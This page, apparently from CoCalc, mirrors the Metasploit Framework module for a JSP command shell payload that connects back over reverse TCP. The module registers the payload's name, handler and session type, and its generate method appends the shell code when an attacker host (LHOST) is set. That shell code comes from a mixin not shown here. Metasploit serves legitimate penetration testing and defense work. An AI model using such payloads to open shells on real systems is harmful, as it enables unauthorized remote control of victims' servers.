Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb
21540 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 1501
8
9
include Msf::Payload::Single
10
include Msf::Payload::JSP
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Java JSP Command Shell, Reverse TCP Inline',
18
'Description' => 'Connect back to attacker and spawn a command shell',
19
'Author' => [ 'sf' ],
20
'License' => MSF_LICENSE,
21
'Platform' => %w[linux osx solaris unix win],
22
'Arch' => ARCH_JAVA,
23
'Handler' => Msf::Handler::ReverseTcp,
24
'Session' => Msf::Sessions::CommandShell,
25
'Payload' => {
26
'Offsets' => {},
27
'Payload' => ''
28
}
29
)
30
)
31
end
32
33
def generate(_opts = {})
34
if !datastore['LHOST'] || datastore['LHOST'].empty?
35
return super
36
end
37
38
return super + jsp_reverse_tcp
39
end
40
end
41
42